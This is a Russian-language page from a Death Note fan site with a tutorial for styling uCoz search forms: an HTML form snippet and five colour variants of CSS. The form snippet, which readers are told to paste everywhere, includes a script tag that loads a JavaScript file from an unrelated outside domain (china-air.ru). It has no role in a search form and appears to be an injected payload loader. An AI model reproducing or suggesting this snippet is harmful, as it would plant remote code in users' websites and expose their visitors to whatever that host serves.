Меню сайта

Форма входа
Категории раздела
Фанфики по Тетради Смерти [79]
Эта категория собрала в себе огромное количество фанфиков по Тетради Смерти (Death Note). Здесь вы имеете возможность читать онлайн фанфики яой, романтика и еще много того, что относится к Тетради Смерти.
Devil May Cry (Даже дьявол может плакать) [1]
Аниме-сериал который был выпущен под началом студии «Madhouse». Жанр: боевик, фэнтези Режиссёр: Син Итагаки Вышел на экраны 14 мая 2007 года Количество эпизодов: 12
Death Note: Another Note, the Los Angeles BB Murder Cases/ Тетрадь Смерти: Другая Тетрадь [10]
Теперь на русском языке! Читаем онлайн! Очень хороший перевод без урезания и сокращений.
Новости Lineage 2 [0]
Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Теги

Фанфики по Тетради Смерти

Фильмы Тетради Смерти (Death Note) тетрадь смерти 2 сезон, тетрадь смерти аниме смотреть онлайн, манга онлайн тетрадь смерти, хентай манга тетрадь смерти онлайн, тетрадь смерти манга читать онлайн, тетрадь смерти картинки яой, тетрадь смерти анимэ, скачать игру тетрадь смерти, картинки тетрадь смерти лайт, тетрадь смерти аватарки, порно тетрадь смерти, музыка Тетради Смерти (Death Note) , тетрадь смерти шрифт, скачать тетрадь смерти через торрент, аниме тетрадь смерти 2 сезон, куплю тетрадь смерти, тетрадь смерти герои, тетрадь смерти миса, тетрадь смерти русская озвучка
Наш опрос
Оцените мой сайт
Результаты | Архив опросов
Всего ответов: 273
Мини-чат
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная | Регистрация | Вход

Главная » 2012 » Декабрь » 28 » Формы поиска для uCoz
15:53

Формы поиска для uCoz





Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код
$SEARCH_FORM$


Везде ставим:

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <input class="poick_knopka" type="submit" value="Найти" />  
  <input type="hidden" name="t" value="0" />  
  </form>


И теперь остается прописать стили!
Фиолетовая форма:

Код
/* Форма поиска фиолетовая кнопка  
------------------------------------------*/  
.poick_os {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka {  
  text-shadow: 1px 1px 1px #751a9b;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#ce36fa;  
  border:1px solid #a622e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka:hover {background:#b73cea;}  

.poick_os,  
.poick_knopka {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Синяя форма:

Код
/* Форма поиска синяя кнопка  
------------------------------------------*/  
.poick_os1 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os1 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole1 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka1 {  
  text-shadow: 1px 1px 1px #1061B0;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#36A6FA;  
  border:1px solid #2290e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka1:hover {background:#3c9fea;}  

.poick_os1,  
.poick_knopka1 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Красная форма:

Код
/* Форма поиска красная кнопка  
------------------------------------------*/  
.poick_os2 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os2 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole2 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka2 {  
  text-shadow: 1px 1px 1px #b01010;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#fa3636;  
  border:1px solid #e32222;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka2:hover {background:#ea3c3c;}  

.poick_os2,  
.poick_knopka2 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Зеленая форма:

Код
/* Форма поиска зелёная кнопка  
------------------------------------------*/  
.poick_os3 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os3 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole3 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka3 {  
  text-shadow: 1px 1px 1px #368620;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#6ae14a;  
  border:1px solid #57c939;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka3:hover {background:#65d447;}  

.poick_os3,  
.poick_knopka3 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Оранжевая форма:

Код
/* Форма поиска оранжевая кнопка  
------------------------------------------*/  
.poick_os4 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os4 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole4 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka4 {  
  text-shadow: 1px 1px 1px #865520;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#e1954a;  
  border:1px solid #c97639;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka4:hover {background:#d48347;}  

.poick_os4,  
.poick_knopka4 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}
Просмотров: 764 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Формы поиска для uCoz Deathnote-Info - Портал о Тетради Смерти (Death Note)